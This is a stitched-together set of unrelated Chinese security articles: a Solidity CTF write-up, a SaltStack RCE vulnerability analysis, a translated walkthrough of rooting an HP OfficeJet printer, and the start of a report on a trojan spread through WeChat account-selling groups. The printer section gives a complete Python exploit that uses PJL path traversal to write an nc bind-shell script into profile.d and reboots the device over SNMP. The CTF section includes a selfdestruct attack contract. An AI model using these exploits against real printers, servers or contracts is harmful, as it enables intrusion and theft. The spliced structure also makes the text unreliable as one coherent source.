string public symbol = "SET";
uint8 public decimals = 18;
function TokenWhaleChallenge(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}
function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000;
}
event Transfer(address indexed from, address indexed to, uint256 value);
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
_transfer(to, value);
}
event Approval(address indexed owner, address indexed spender, uint256 value);
function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}
function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);
allowance[from][msg.sender] -= value;
_transfer(to, value);
}
}
又是一道Token题，有了上一题的经验估计这题也是对溢出的利用，那么先来找找溢出点，粗略看一下很容易就发现_transfer函数没有进行溢出的检查，同时注意到它是个内部函数，那么我们来看看在哪可以调用它
transfer与transferFrom函数都可以调用该函数，transfer中对上溢进行了检查，显然不存在问题，重点在于这里的transferFrom函数，我们注意到它的require条件并没有针对msg.sender的balance进行检查，而其下面调用的_transfer函数中却会操作msg.sender的balance，不难发现此处应该是存在下溢的
接下来我们的目标就是以player的身份调用transferFrom函数，看完代码后，我们发现要满足条件就需要有另一个地址来参与，并且需要其balance的值大于我们player的balance以满足下溢条件，这里我就用另一个account来完成测试，直接在metamask里新建即可，然后我们调用transfer函数给这个Account转balance，多少倒是随便，超过一半即可，700，800都行，总数是1000
然后我们调用approve来设置allowance，注意此时需要在metaMask切换到我们的Account
2，value的值也比较随意，只要比你想转的多就行，或者说比player的balance多即可
然后我们就能使用transferFrom函数了，此时切换回我们的player所在的Account，在from填上我们的Account
2，to这里其实随便填个地址即可，但不要是player地址，不然就白溢出了，这里我就选择了Account 3，value在Account
2的balance范围内选个比player的balance多的值即可
然后便拿到了数不完的balance，美滋滋
### 0x3. Retirement fund
pragma solidity ^0.4.21;
contract RetirementFundChallenge {
uint256 startBalance;
address owner = msg.sender;
address beneficiary;
uint256 expiration = now + 10 years;
function RetirementFundChallenge(address player) public payable {
require(msg.value == 1 ether);
beneficiary = player;
startBalance = msg.value;
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function withdraw() public {
require(msg.sender == owner);
if (now < expiration) {
// early withdrawal incurs a 10% penalty
msg.sender.transfer(address(this).balance * 9 / 10);
} else {
msg.sender.transfer(address(this).balance);
}
}
function collectPenalty() public {
require(msg.sender == beneficiary);
uint256 withdrawn = startBalance - address(this).balance;
// an early withdrawal occurred
require(withdrawn > 0);
// penalty is what's left
msg.sender.transfer(address(this).balance);
}
}
这个挑战也有点意思，叫退休基金，介绍里说他要留1
ether养老并且上个锁保证自己10年内都不会取出来，如果他提前取出来的话就把存的钱留十分之一给你，不过这部署的过程花的不还是我的ether么，罢了，这些细节就不要在意了
很显然withdraw函数我们是无法调用的，我们只是个player，那么关注点自然就在collectPenalty，看起来它似乎是无法调用的，满足的条件里需要withdrawn大于零，但是这里startBalance与此合约的balance都是1
ether，那么withdrawn应该一直为0，然而遍寻合约也没见到可以发送ether的位置，事实上这里的考点是以太坊中合约的自毁机制，这是通过selfdestruct函数来实现的，如它的名字所显示的，这是一个自毁函数，当你调用它的时候，它会使该合约无效化并删除该地址的字节码，然后它会把合约里剩余的balance发送给参数所指定的地址，比较特殊的是这笔ether的发送将无视合约的fallback函数，所以它是强制性的，这样的话我们就有手段来修改当前合约的balance值了，更进一步我相信你也发现了此处下溢的存在，withdrawn
> 0就成功被满足了
部署攻击合约：
contract attack {
address target = address of your challenge;
function attack() public payable {
}
function kill() public {
selfdestruct(target);
}
}
注意部署的时候要发送一些ether，不然自毁了也没balance可发，然后即可直接调用目标合约的collectPenalty完成挑战了
### 0x4. Mapping
pragma solidity ^0.4.21;
contract MappingChallenge {
bool public isComplete;
uint256[] map;
function set(uint256 key, uint256 value) public {
// Expand dynamic array as needed
if (map.length <= key) {
map.length = key + 1;
}
map[key] = value;
}
function get(uint256 key) public view returns (uint256) {
return map[key];
}
}
老实说刚看到这题我也有点摸不着头脑，代码倒是非常少，在这几关里应该是最短的了，目标肯定是要覆盖掉isComplete的值，显然利用点应该是在set函数里，开始时注重点放在了map.length上，因为这里的+1操作显然是存在溢出的，但是在本地测试过后我发现这里哪怕溢出也无法影响isComplete所在的存储位，不过在remix上的js虚拟机进行测试的时候倒是让我把目光转向了map键值的存储位
我们知道对于动态数组，其在声明中所在位置决定的存储位里存放的是其长度，而其中的变量的存储位则是基于其长度所在的存储进行，这部分的详细内容可以参见此处一篇翻译文章[了解以太坊智能合约存储](https://segmentfault.com/a/1190000013791133)
现在我们知道了动态数组内变量所在的存储位的计算公式即为
> keccak256(slot) + index
slot是数组长度所在的存储位，我想你也猜到了，这个挑战里我们真正要利用的溢出其实是在这里，index是我们可控的，只要它够大我们就能够成功上溢，覆盖掉isComplete所在的0号存储位
首先计算map数组中第一个变量所在的存储位，然后计算溢出所需的index大小
将此作为参数传递进set，value设为1即可
### 0x5. Donation
pragma solidity ^0.4.21;
contract DonationChallenge {
struct Donation {
uint256 timestamp;
uint256 etherAmount;
}
Donation[] public donations;
address public owner;
function DonationChallenge() public payable {
require(msg.value == 1 ether);
owner = msg.sender;
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;
require(msg.value == etherAmount / scale);
Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;
donations.push(donation);
}
function withdraw() public {
require(msg.sender == owner);
msg.sender.transfer(address(this).balance);
}
}
这一关的考点其实也挺有意思的，因为结构体在函数内非显式地初始化的时候会使用storage存储而不是memory，所以就可以达到变量覆盖的效果，关于这我也专门写过相关的文章，[Solidity中存储方式错误使用所导致的变量覆盖](http://www.freebuf.com/articles/blockchain-articles/175237.html)，个人感觉写的还算清楚，这也是solidity的一个bug，官方是准备在0.5.0版本修复，不过看来是遥遥无期了
对这方面有了解的话其实一眼就能看出来玄机了，显然此处donate函数中初始化donation结构体的过程存在问题，我们可以覆盖solt 0和slot
1处1存储的状态变量，恰好solt
1存储的即为owner，而覆盖其位置需要的etherAmount又是我们可控的，那么现在的目标就是传入正确的etherAmount来调用donate函数从而覆盖owner为我们的Account地址
对于传入的etherAmount，其值只要等于我们的Account地址即可，然后满足下面的对于msg.value的要求，简单地计算一下即可得到结果
然后我们使用这些参数调用donate函数，此时owner变量还是另一个地址
成功将自己的Account改写为owner
然后调用withdraw函数拿钱走人
### 0x6. Fifty years
pragma solidity ^0.4.21;
contract FiftyYearsChallenge {
struct Contribution {
uint256 amount;
uint256 unlockTimestamp;
}
Contribution[] queue;
uint256 head;
address owner;
function FiftyYearsChallenge(address player) public payable {
require(msg.value == 1 ether);
owner = player;
queue.push(Contribution(msg.value, now + 50 years));
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function upsert(uint256 index, uint256 timestamp) public payable {
require(msg.sender == owner);
if (index >= head && index < queue.length) {
// Update existing contribution amount without updating timestamp.
Contribution storage contribution = queue[index];
contribution.amount += msg.value;
} else {
// Append a new contribution. Require that each contribution unlock
// at least 1 day after the previous one.
require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);
contribution.amount = msg.value;
contribution.unlockTimestamp = timestamp;
queue.push(contribution);
}
}
function withdraw(uint256 index) public {
require(msg.sender == owner);
require(now >= queue[index].unlockTimestamp);
// Withdraw this and any earlier contributions.
uint256 total = 0;
for (uint256 i = head; i <= index; i++) {
total += queue[i].amount;
// Reclaim storage.
delete queue[i];
}
// Move the head of the queue forward so we don't have to loop over
// already-withdrawn contributions.
head = index + 1;
msg.sender.transfer(total);
}
}
这道题的分值目前是所有挑战里最高的，达到了2000分，也确实花了我不少时间，质量还是挺高的
整个代码想传达的主要规则很简单，你可以向整个贡献队列里添加条目，amount即为你发送的ether，但是之后的时间锁会将这些amount锁在合约里，只有过了规定的时间之后才能全部提取出来，同时第一个amount也就是我们创建合约时存入的1
ether，之后添加的每一条都必须在其前一个contribution的时间锁的基础上增加一天的时间，第一个contribution的时间锁为50年以后，如果你等够50年的话倒是能直接完成这个挑战。。。
要成功提取合约内的所有balance只能通过withdraw函数，也就是要绕过其时间锁的限制，突破点肯定在upsert函数内，很容易地注意到此函数里使用了storage存储来初始化一个contribution结构体，这势必会造成变量覆盖，道理跟前面的Donation那道题目一样，这样的话可被我们覆盖的值就包括queue的长度与head的值，在这可能还看不出来覆盖queue长度的作用，因为在前面我们知道这无法对其它存储位上的变量造成影响
往下看，看到这一句
> queue.push(contribution);
这一行将在queue里增加我们前面初始化的这一contribution，然后我就想是否是这插入的位置的玄机，因为queue是个动态数组，其中的变量所在的存储位计算规则为
> keccak256(slot) + index * elementsize
这里elementsize即为结构体Contribution的size
2，push更新queue的存储使用的自然也是这个公式，那么其使用的index应该就是queue的length了，关于这可以验证，我就懒得贴图了，而queue.length是我们可控的，这方面肯定可以做点文章
这样的话梳理一下，我们现在就可以使用msg.value来决定我们要增加的对象所在的存储位，当然这种情况下你得先让index大于queue.length才能触发增加对象的条件，但是我们的目标还是调用withdraw啊，它最关键的限制在这里
> require(now >= queue[index].unlockTimestamp);
前面我们也提到了第一个contribution的时间锁就是五十年，之后每个必须至少比前面一项多一天，这个限制是由下面这行代码附加的
> require(timestamp >= queue[queue.length – 1].unlockTimestamp + 1 days);
经历了前面这么多挑战是不是感觉套路很眼熟，没错，这里显然又是存在上溢的，如果前面一个对象的时间锁加上一天以后溢出为0，那么我们增加的项目的时间锁就可以设置为0了，这一点很重要，因为head的值是会被我们增加的对象的时间锁给覆盖的，如果不设为0，在下面调用withdraw时就会从非0位开始提取balance，从而无法覆盖到我们必须提取的queue[0]的那1
ether
因为1 days的值为86400，我们直接计算溢出所需的时间锁大小
> 2**256-86400
>
> 115792089237316195423570985008687907853269984665640564039457584007913129553536
这样的话按我一开始的想法接下来应该很简单了，先在queue的index 1处添加一个记录，时间锁就传递我们上面计算得到的值，然后在queue的index
2处添加一个记录，时间锁传递为0，这两步操作通过发送1 wei和2
wei来调用upsert函数即可实现，然后我们的head值就被设为0了，这样的话我们应该就满足调用withdraw的条件了，但是尝试了一下你就会发现依然是调用失败，在本地测试时可以debug一下，发现问题是出在最后一步进行transfer的时候，这可让人难受死了，都到最后关头了还是过不去
如果你是在本地环境上测试的话应该不难发现在每次增加对象后事实上新的contribution的amount值并不是我们传递的msg.value的值，在其基础上还加了1.开始我也不太明白，后来debug发现原来queue.length也是msg.value+1，因为二者共用一块存储，应该是queue.length增加时也修改了amount的值，至于此处queue.length为何+1，则是因为queue.push操作，因为其在最后执行增添对象的任务，添加以后它会将queue.length进行+1操作
这样一切就解释的通了，关键就是这里amount进行了+1，所以在withdraw是所统计的total事实上是大于合约所拥有的balance，所以transfer无法执行，这一点确实有点难到我了，必须想个办法抵消这一步+1的操作
很快，我意识到我可以利用value来覆盖已有的contribution，既然发1
wei会加1，那我发两次，这样得到的amount就是2，也就是我实际发送的wei数目，所以把上面那两步写入操作都改成1 wei下的操作即可
第一步
第二步
然后调用withdraw(1)即可成功通关
总的来说这一关还是非常有意思的，很推荐自己动手试试，只是看文字可能不是很好体会 | 社区文章 |
# SaltStack远程执行代码多个高危漏洞透析（CVE-2021-25281/25282/25283）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
北京时间2月26日凌晨3点，SaltStack官方发布高危漏洞风险通告，包含CVE-2021-25281、25282、25283。此前，云鼎实验室安全研究员1mperio就曾发现该漏洞，并于2020年11月16日报送给SaltStack官方。
在对CVE-2020-17490和CVE-2020-16846进行分析后，发现CVE-2020-17490的补丁存在未修补完全的情况，导致wheel_async仍然存在未授权访问，可以调用wheel模块中的方法，基于此对SaltStack的wheel模块中的方法进行分析，最终发现加载配置模块存在模板注入，可以实现未授权远程代码执行。
## 引言
SaltStack是VMware子公司，其产品用于运维管理，能够支持数万台服务器，主要功能是配置文件管理和远程执行命令，十分易用且强大，在github有11.4k
star。
SaltStack只用python开发，采用C/S架构，其中Server被称为Master，Client被称为Minion，即一个Master能够向多个Minion下发配置文件，远程执行命令。SlatStack是系统总称，主要有salt、salt-master、salt-minion、salt-api等程序组成，其中salt-master和salt-minion的功能为从指定路径读取配置文件并启动。salt-master监听4505和4506端口，分别用于发布消息和接受监控数据。
salt程序可以调用大量函数，并可以指定minion或指定一组minion作为目标。salt-api可以使用cherrypy或tornado来对外提供REST接口，默认使用cherrypy。
本文主要对salt-master和salt-api展开讨论。
文中指定代码位置采用以下约定：FileLocation:Classname.method()或FileLocation:Method()
## CVE-2021-25281 未授权访问
通过分析CVE-2020-25592的
https://gitlab.com/saltstack/open/salt-patches/-/blob/master/patches/2020/09/25/3002.patch
可以发现
，补丁通过调用认证模块对SSH方法进行权限认证，而salt/salt/netapi/init.py:NetapiClient.run()方法通过getattr动态调用NetapiClient类中的方法，并将args和kwargs作为参数传入。
该类中可调用的方法有
— local
— local_async
— local_batch
— local_subset
— runner
— runner_async
— ssh
— wheel
— wheel_async
经过分析，其中，wheel_async方法存在未授权调用，其他方法(除去SSH)均为生成一个job到zeromq，其后进行消费者再进行认证，而wheel_async异步调用wheel包中的方法。
调用链如下：
salt/salt/netapi/init.py:NetapiClient.run() ⇒
salt/salt/netapi/init.py:NetapiClient.wheel_async() ⇒
salt/salt/wheel/init.py:WheelClient.cmd_async() ⇒
salt/salt/client/mixins.py:AsyncClientMixin.asynchronous()
salt/salt/client/mixins.py:AsyncClientMixin.asynchronous()
这里的目标函数是self._proc_function，low参数为POST可控参数，fun参数的值在salt/salt/wheel/init.py:WheelClient.cmd_async()方法中通过low参数的fun键获取。
这里通过salt/salt/client/mixins.py:AsyncClientMixin._proc_function()函数调用salt/salt/client/mixins.py:SyncClientMixin.low()，并通过该函数使用args参数和kwargs参数动态调用wheel包中的方法。
salt/salt/client/mixins.py:SyncClientMixin.low()
可调用的方法如下：
config.apply
config.update_config
config.values
error.error
file_roots.find
file_roots.list_env
file_roots.list_roots
file_roots.read
file_roots.write
key.accept
key.accept_dict
key.delete
key.delete_dict
key.finger
key.finger_master
key.gen
key.gen_accept
key.gen_keys
key.gen_signature
key.get_key
key.print
key.list
key.list_all
key.master_key_str
key.name_match
key.reject
key.reject_dict
minions.connected
pillar_roots.find
pillar_roots.list_env
pillar_roots.list_roots
pillar_roots.read
pillar_roots.write
## CVE-2021-25282 有限制任意文件写漏洞
其中salt/salt/wheel/pillar_roots.py:write()方法存在任意写入文件漏洞，不过需要__opts__[“pillar_roots”]中的路径存在。
这里的读文件是没有办法利用的，由于是异步调用，所以返回的是jid和tag，通过jid和tag去查询任务执行的结果时是有认证的。
salt/salt/wheel/pillar_roots.py:write()
## CVE-2021-25283 模板注入漏洞
通过—log-level=debug参数开启debug模式，定位到了master自动加载的逻辑。
salt/salt/master.py:Maintenance.run()
从代码中可以看出，每一个self.loop_interval将循环一次，loop_interval在配置文件中可以配置，默认为60s。通过debug发现在salt.daemons.masterapi.clean_old_jobs中读取minion配置文件。
调用栈如下：
salt/salt/daemons/masterapi.py:clean_old_jobs() ⇒
salt/salt/minion.py:MasterMinion.init() ⇒
salt/salt/config/init.py:minion_config()
在
salt/salt/minion.py:MasterMinion.init()中发现，自动加载值加载grains相关的参数，grains为saltstack收取各个minion中系统信息的功能。
salt/salt/minion.py:MasterMinion.init()
salt/salt/config/init.py:minion_config()
可以看到minio在加载配置文件的时候调用了一个很诱人的方法apply_sdb()，这个方法解析配置中以sdb://开头的字符串。
salt/salt/config/init.py:apply_sdb()
salt/salt/utils/sdb.py:sdb_get()
在这个函数中sdb://aaaa/bbbb字符串，saltstack将会在配置文件中找aaaa这个配置项，并读取其中driver字段，赋值给fun变量，经bbbb赋值给query参数。最后的salt.loader.sdb(opts,
fun,
utils=utils)是一个动态调用，通过LazyLoader加载fun变量值对应的方法，并调用，其中LazyLoader将加载salt.sdb包下的所有文件，并调用其中的get方法。
经过查找，最终定位到salt/salt/sdb/rest.py文件。
salt/salt/sdb/rest.py:query()
在这里，key为上述字符串中bbbb的值，可以看到这里还接收形如bbbb?ccc=ddd的参数，并且通过**key_vars传递到compile_template方法中。
这里的render使用的是jinja，众所周知，jinja是可以进行模板注入的，也就是说，在模板可控的情况下，如果不存在过滤，将可以执行任意代码，并且这里传入的参数是profile[key][‘url’]，也就是配置文件中aaaa配置项中bbbb字典url的值。compile_template函数详情如下：
salt/salt/template.py:compile_template()
这里的render调用的是salt/salt/renderers/jinja.py中的render方法，调用链如下：
salt/salt/template.py:compile_template() ⇒
salt/salt/utils/templates.py:JINJA() ⇒
salt/salt/utils/templates.py:wrap_tmpl_func() ⇒
salt/salt/utils/templates.py:render_jinja_tmpl()
最后调用到render_jinja_tmpl中的template.render()方法，在此处渲染模板，此中并未对传入的参数进行过滤，可以进行模板注入。
但自动加载的逻辑中未加载master的配置文件，但经过翻找，发现某个方法调用了master_config方法，master_config和minion_config一样，都调用了apply_sdb()方法，从而能够实现未授权RCE。
## 修复建议
尽快更新官方补丁。
如果没有用到wheel_async模块，可以在salt/netapi/init.py中将其入口删除。 | 社区文章 |
# 【技术分享】从安全公告到任意代码执行之看我如何黑掉HP的打印机
|
##### 译文声明
本文是翻译文章，文章来源：tenable.com
原文地址：<https://www.tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution>
译文仅供参考，具体内容表达以及含义原文为准。
****
>
> 严正声明：本文仅限于技术讨论与学术学习研究之用，严禁用于其他用途（特别是非法用途，比如非授权攻击之类），否则自行承担后果，一切与作者和平台无关，如有发现不妥之处，请及时联系作者和平台
译者：[ForrestX386](http://bobao.360.cn/member/contribute?uid=2839753620)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x00. 前言
**
打印机可以说是一种非常普通且常见的设备了，不论是在大公司，小公司，学校，甚至一些普通的家庭中，我们都能发现它们的身影，
它们无处不在。但是，在你的安全意识里，你对打印的安全威胁有清晰的认识吗？
还记得上一次更新打印机设备固件是什么时候吗？你可知道你的打印机正在面临着多个公开漏洞的威胁吗？
举个栗子来说吧，今年4月初的时候，HP 披露了一个安全公告，这个安全公告中说到，HP PageWide系列打印机和 OfficeJet Pro
Printers系列打印机均存在任意代码执行漏洞，当时公告的部分内容如下：
我们已经确认了在某些系列的HP打印机设备中确实存在潜在的安全问题，这些安全问题可能会导致潜在的任意代码执行漏洞。
这个安全公告并没有引起人们足够的关注和留意，因为公告中说，这个安全问题只是潜在的漏洞，并非一定发生，
当人们看到关于漏洞的描述中存在’潜在’一词的时候，他们可能就没了继续读下去的兴趣。CVE
组织关于这个漏洞的描述与处理态度更让人们觉得这个漏洞没那么紧急与重要。 截止我写这篇文章的时候，
HP的安全公告已经披露了2个月之久，然而CVE组织对这个漏洞的描述还是空白，而且漏洞的处理进度仍然为’RESERVED’状态
CVSSv2组织对这个安全漏洞的评分是9.8，这让Tenable
公司的逆向工程师们对这个所谓地潜在的漏洞表现出极大的兴趣，这帮家伙没能按耐住内心对于这个漏洞的好奇心，于是他们购买了2台 安全公告中提到的可能存在漏洞的HP
OfficeJet Pro 8210 系列打印机进行测试。（如图1所示）
图1：用于测试的HP OfficeJet Pro 8210 打印机
他们期望购买的这两台打印机正好含有相应漏洞的固件，而不是已经被修复了，事实上，他们的这种行为就是在赌博。如果在所购买的设备中相应的漏洞已被修复了，鬼知道要花多少时间，多少工作量才能逆向回漏洞修复以前的状态。
万幸的是，这两台新买的设备固件都是有漏洞的，而且它们的自动更新功能被禁用了，如图2所示：
图2：web界面上查看到的关于设备固件的详细信息
虽然HP在安全公告中已告知读者去 http://www.hp.com/support下载固件更新补丁，
但是我们在HP的支持网站上并没有发现针对OfficeJet Pro 8210 系列打印机的固件更新补丁，这对我门来说是个’好消息’。
当我们在web界面手动执行固件更新的时候，我们发现还是可以将固件更新到修复版本。
Ok，至此，我们新买的两台打印机，一台打了补丁，一台还未修复。 恩，现在是时候开始我们的漏洞挖掘之旅了。
**
**
**0x01. 漏洞挖掘
**
老规矩，首先用Nmap 扫一下未打补丁的那台打印机开放的端口， 结果如图3所示：
图3：Nmap扫描结果
扫描结果和预期差不多:
1）打印机上运行了HTTP 服务，监听端口为80，,43,8080；
2）打印机启动了行式打印进程（IPD）并在515端口监听；
3）打印机启动了网络打印协议（IPP）并在631端口监听
4）打印机开放了9100端口，Nmap的扫描结果中将这个端口标记为’jetdirect?’, 从字面上看，这的端口就是 原生打印或者是 9100
端口打印的意思
HP 认为基于9100 端口的原生打印技术是它们的专利。我们都知道这个端口可以利用PCL， PostScript
和PJL编程语言进行原生自定义打印。图4所示是一个利用PJL语言通过9100端口获取打印机设备信息的例子：
图4
Jens Müller
最近写了一篇题为：[渗透网络打印机：关于Laser打印机和多功能设备中安全缺陷的研究报告](https://www.nds.rub.de/media/ei/arbeiten/2017/01/30/exploiting-printers.pdf)。 他的这篇研究报告详细描述了多个常见的打印机漏洞，其中就有目录遍历漏洞，图5就是一个利用PJL
指令获取远程打印机目录信息的例子：
图5
你可以从图5中看到，指令参数中要列出的目录名字为’0:/’，而打印机响应的信息中却包含两个子目录tmp/ 和 csr_misc/，
如果你试着使用../去切换目录，会发生什么呢？ 比如将指令参数中name的值设置为0:/../../， 看看打印机响应内容是什么，如图6所示：
图6
正如你所看到的那样，打印机响应了一串新的目录列表。好了，目前的测试结果都表明这台打印机极有可能存在目录遍历漏洞，
我们在打了补丁的那台打印机上再执行一遍上面的命令， 却得到一个含有错误信息的回应， 如图7所示：
图7
这是因为， HP已经在补丁版本中修复了相应了的漏洞。好了，接下来我们开始挖掘漏洞公告中提到的任意代码执行漏洞吧， 我们觉得，我们有很大的机会去复现这个漏洞。
然而，上面发现的目录遍历漏洞好像对我们复现任意代码执行漏洞没有太直接的帮助， 打印机响应信息中的文件系统结构信息好像和我们所熟悉的Linux
文件系统结构不太一样。 也许这里还有其他的目录遍历漏洞入口， 于是我们开始尝试新的测试，如图8所示：
图8
注意到没，当我设置目录名字为../../的时候，打印机给我响应了一个 FILEERROR信息。
但是，当我设置目录的名字为../../bin的时候，打印机响应的内容和我们熟悉的Linux 系统中bin目录下的结构信息非常类似，
我们猜想，从这里我们也许能够找到打印机中的linux文件系统全貌信息
但是，又有新的问题了，怎么才能把目录遍历漏洞提升到任意代码执行漏洞呢？首先，你需要了解一些其他的PJL 语言指令，比如： FSQUERY，
FSUPLOAD和FSDOWNLOAD。
这三个指令都可以直接对打印机上的文件进行读写操作，比如，可以利用FSQUERY和FSUPLOAD指令，再结合目录遍历漏洞实现对/etc/passwd
文件的读取，如图9所示:
图9
我们可不仅仅满足于任意文件读取漏洞，我们还想对打印机的文件系统进行写操作。
FSDOWNLOAD指令使用的时候需要发送ESC字符，所以Netcat工具可能不太适合这里的场景，于是我们编写了一个python脚本辅助我们完成测试，
脚本内容如下:
让我们非常失望的是： 这个脚本没能成功向打印机文件系统上写入文件 （如图10所示）
图10
好像是PJL
语言的解释器进程没有写权限，这对于我们复现任意代码执行漏洞是个很大地打击，我们还想着能替换打印机系统上的某个二进制文件或者执行自定义的bash脚本，
看来这个想法不太可能实现了。 事已至此，我们唯一的希望就是’0:/’ 文件系统是可写的，
我们可以在这个目录下写入自定义文件，再通过其他某种方式将这个写入的文件运行起来。
我们正打算开始实施我们唯一存在可能性的想法的时候，我突然想到了打印机系统的某些地方很可能和传统的Linux系统有功能重叠的地方，我们知道在传统的Linux系统下profile.d/目录下的脚本都会在系统启动的时候自动执行，而打印机系统上我们也发现了含有profile.d/的目录：0:/../../rw/var/etc/profile.d/，我们想那里可能存在一些和传统Linux系统上类似的文件，
于是我们开始了测试，如图11所示：
图11
测试结果和我们预期很相似，0:/../../rw/var/etc/profile.d/ 目录中存在和传统Linux 上profile.d目录中类似的数据。
为了测试是否真的可以通过 0:/ filesystem将自定义文件写入0:/../../rw/var/etc/profile.d/
目录中，我们修改了上面的python代码，修改后的代码如下：
import socket
import sys
test = ('test')
if len(sys.argv) != 3:
print 'nUsage:upload.py [ip] [port]n'
sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="0:/../../rw/var/etc/profile.d/writing_test"rn
dir_query += test
dir_query += 'x1b%-12345X'
sock.sendall(dir_query)
sock.close()
然后我们开始测试，结果如图12所示：
图12
是的，你没看错，脚本执行成功，文件写入成功，而且我们还可以通过目录遍历漏洞查看到写入的文件。
Ok，现在我们已经向profile.d目录中写入了脚本文件，我们知道，profile.d目录下的文件很可能是打印机系统启动的时候自动启动的文件，我们离成功复现任意代码执行漏洞只差一步之遥了。接下来，我们要做的就是写入一个反弹shell的脚本，然后重启打印机。
我们已经知道打印机上安装了netcat 工具，所以我们编写了一个利用nc反弹shell的脚本，如下：
if [ ! -p /tmp/pwned ]; then
mkfifo /tmp/pwned
cat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &
fi
好了，后门脚本已经ok，接下来就是如何远程重启打印机了，其中给一个方法就是利用web界面上的工具菜单下的重启按钮重启打印机，另一个方法就是利用SNMP
协议的 printer MIB去重启打印机，如下：
albinolobster@ubuntu:~$ snmpset -v1 -c public 192.168.1.158 1.3.6.1.2.1.43.5.1.1.3.1 i 4
iso.3.6.1.2.1.43.5.1.1.3.1 = INTEGER: 4
下面我们又编写了一个自动化反弹shell的脚本，这个脚本集成了向profile.d目录写入反弹shell后门，重启打印机设备的功能，脚本内容如下：
# Create a bind shell on an unpatched OfficeJet 8210
# Write a script to profile.d and reboot the device. When it comes
# back online then nc to port 1270.
#
# easysnmp instructions:
# sudo apt-get install libsnmp-dev
# pip install easysnmp
##
import socket
import sys
from easysnmp import snmp_set
profile_d_script = ('if [ ! -p /tmp/pwned ]; thenn'
'tmkfifo /tmp/pwnedn'
'tcat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &n
'fin')
if len(sys.argv) != 3:
print 'nUsage:upload.py [ip] [port]n'
sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(profile_d_script)) + ' NAME="0:/../../rw/var/etc/profile.d/lol.sh"rn'
dir_query += profile_d_script
dir_query += 'x1b%-12345X'
sock.sendall(dir_query)
sock.close()
sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock1.connect(server_address)
dir_query = '@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh"rn'
sock1.sendall(dir_query)
response = ''
while True:
data = sock1.recv(1)
if 'n' == data: break
response += data
print response
snmp_set('.1.3.6.1.2.1.43.5.1.1.3.1', 4, 'integer', hostname='192.168.1.158', community='public', version=1)
print 'Done! Try port 1270 in ~30 seconds'
直接执行这个脚本，然后用nc 192.168.1.158 1270 命令连接打印机，等待30s左右，然后就会成功获取远程打印机的shell环境。
**
**
**0x02. Tenable 公司针对此安全漏洞的处理方案
**
如果你理解了这个漏洞的原理和攻击手段， 你就很容易检测出设备是否存在相应的漏洞。 Tenable
公司已经在5月下旬的时候发布了一个检测此漏洞的[Nessus插件](https://www.tenable.com/plugins/index.php?view=single&id=100461)，
在这个插件中，我们做了一些小的修改，这些修改会让Nessus在扫描打印的时候不会触发打印机通过9100端口打印，这个举动也会让我们广大的客户放心地进行打印机扫描。
总而言之，多花点时间关心下你的打印机安全吧，我们应该像对待电脑一样对待打印机的安全问题，定期地对它们进进行扫描，并给它们更新补丁。 | 社区文章 |
# 神话传奇——通过卖号微信群传播的远控木马
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近期，360安全卫士监测到了一批通过微信群传播的远控木马，木马针对在网上倒卖微信号的人群定向投放。卖号人的交流群里时常有不同的小号在散播诱导性的木马程序，不知情的卖号人运行木马后，电脑上就被植入后门。
## 认识卖号人
在分析远控木马之前，我们先来认识一下这批远控木马的目标人群——卖号人。卖号分为很多种，本文主要指的是倒卖微信号，更具体的应该是卖“微信62数据”。这里简单认识一下“微信62数据”，这个数据是微信用户登录新设备后生成的加密数据，通过导入该数据到新设备中，可以跳过新设备登录验证的步骤直接登录账号，这一串数据是以数字“62”开头，被卖号人习惯性的称为“62数据”。如下是一条卖号人提供的微信号数据，格式为“账号—密码—62数据—最后登录时间”。
众所周知，微信是个天然营销的平台，围绕在微信圈里的产业链更是举不胜举，自然就有人搞起了微信号的买卖交易。而对于账号交易至关重要的62数据，本身使用起来颇为麻烦（需要辅助工具），所以免不了有人要做一些科普性工作，网上随便找一下62数据相关。
看上去营销工作做得还可以，于是加扣扣打探一下行情，发现的确是一条产业链。
打开所谓的平台，其实是在卓郎上注册的一个“自动发卡”商户，上面提供多种不同品质需求的微信62数据账号。
后来发现，不少卖号的代理人有自己各自的渠道，如下为另一自动批发商户：
这些卖号的代理人平时还会通过微信群来进行交流。我们尝试联系某个卖号的代理人，经过沟通后发现有人专门负责在微信群里散播诱导性的远控木马程序。
有意思的是，卖号代理人一般都会使用微信电脑版来工作，正常情况下群里的木马文件自动接收后会被360识别为木马并隔离查杀，只有用户主动去找回并运行木马程序才会中招。
